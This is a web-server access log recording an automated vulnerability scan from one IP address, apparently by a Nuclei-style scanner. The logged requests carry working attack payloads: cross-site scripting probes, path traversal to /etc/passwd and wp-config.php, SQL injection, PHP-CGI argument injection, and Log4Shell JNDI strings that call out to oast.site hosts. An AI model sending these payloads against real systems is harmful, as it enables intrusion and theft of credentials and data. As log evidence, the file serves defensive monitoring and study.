[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //WLC0ney2%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3E/..CFIDE/administrator/index.cfm HTTP/1.1" 199
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ssl-vpn/hipreport.esp HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/access.log HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Dockerrun.aws.json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /files/ HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-post.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ampps-admin/index.php?act=login HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/ HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/start HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ansible.cfg HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/ui/search.jsp?Path&Query HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ossim/session/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login?redirect=%2F HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fetchBody?id=1/../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/ait-csv-import-export/admin/upload-handler.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///system///console///bundles HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /update/../admin/diagnostic.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apache.conf HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anaqua/Public/Login.aspx?ReturnUrl=%2fanaqua%2f HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.;%0aa.css?path=/home&p.hits=full&p.limit=-1 HTTP/1.1" 199
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD / HTTP/1.1" -
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /answer/api/v1/siteinfo HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /.antproxy.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1" 199
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/reports/diskusage.html?path=/content/dam HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_config HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/linkchecker.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /druid/indexer/v1/sampler?for=connect HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2fd5g6sfahausljekepl20xgrcua1by935t.oast.site%2ftea%7d HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /unified-console.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.angular-cli.json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jars/upload HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/administrator/images/background.jpg HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /translations/en.json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/console HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.licenserc.yaml HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nifi-api/process-groups/root HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /content/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apps HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webtools/control/main HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf HTTP/1.1" 243
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/groovyconsole.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json HTTP/1.1" 226
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nifi-api/access/config HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] ec2-3-1-128-83.ap-southeast-1.compute.amazonaws.com TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server-info HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "@tls-sni: trade.kingston.com.hk:443" 226
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /signin HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mcmadmin HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appsettings.json HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /solr/gettingstarted_shard1_replica_n1/config HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 226
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/airflow/login HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apimanui/api-manager HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adminer/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/info.sessionInfo.txt HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /graphql HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PATCH /mgmt/tm/auth/user/DtJRO HTTP/1.1" 222
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/ HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/alm_templates/ALFA_DATA/alfacgiapi/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lists/compact/index.html?reloaded&sort=date_desc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /global-protect/portal/images/380CxtQxWIjiht934S5Kx391g7m.txt HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apisix/admin/user/login HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.appveyor.yml HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apps HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gotoURL.asp?url=interact.sh&id=43569 HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atlassian-connect.json HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/version HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phy.htm HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_db/_system/_admin/aardvark/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(999999999),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /allPlans.action HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arcgis/rest/services HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/sdk/rest/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/Attitude/go.php?https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artifactory/ui/repodata?deploy=true HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/collections?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-672%7D%24%7B%3A-997%7D.%24%7BhostName%7D.uri.d5g6sfahausljekepl20myou15i1eqj3s.oast.site%2F%7D HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crowd/console/login.action HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/portalhelp/en/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arcgis/tokens/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apc/apc.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.php?action=config HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /swarm.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/Wordpress/Aaspose-pdf-exporter/aspose_pdf_exporter_download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/loginstatus.css HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logon.htm HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/aspose-importer-exporter/aspose_import_export_download?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /travel-detail.php?id=1%27AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(6)))bAKL)%20AND%20%27vRxe%27=%27vRxe HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/apple-app-site-association HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appspec.yml HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/cluster/summary HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plug/oem/AspCms_OEMFun.asp HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.remote-sync.json HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/liveView?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Main_Login.asp HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:51 +0800] ec2-3-1-128-83.ap-southeast-1.compute.amazonaws.com TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server-status HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WLC0ney2%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/..CFIDE/administrator/index.cfm HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/380CxmltkXajNmpaa6WzvRFNvBW.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appsuite/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arcade.php?act=Arcade&do=stats&comment=a&s_id=1' HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tcp.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setupLicense.action HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/security/ticket HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis2/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth.json HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/logs/access.log HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.apdisk HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/administrator/images/background.jpg HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloadfile.php?file=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?page=home HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/acs-commons/version-compare.html HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/favicon.png HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appsettings.Production.json HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forums/search/z--%3E%22%3E%3C/script%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/dispatcher.cgi?cmd=3 HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.;%0aa.css?path=/etc&p.hits=full&p.limit=-1 HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aims/ps/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /userlogin!doDefault.action?os_destination=%2Fstart.action HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /struts2-showcase/showcase.action HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/user/login HTTP/1.1" 196
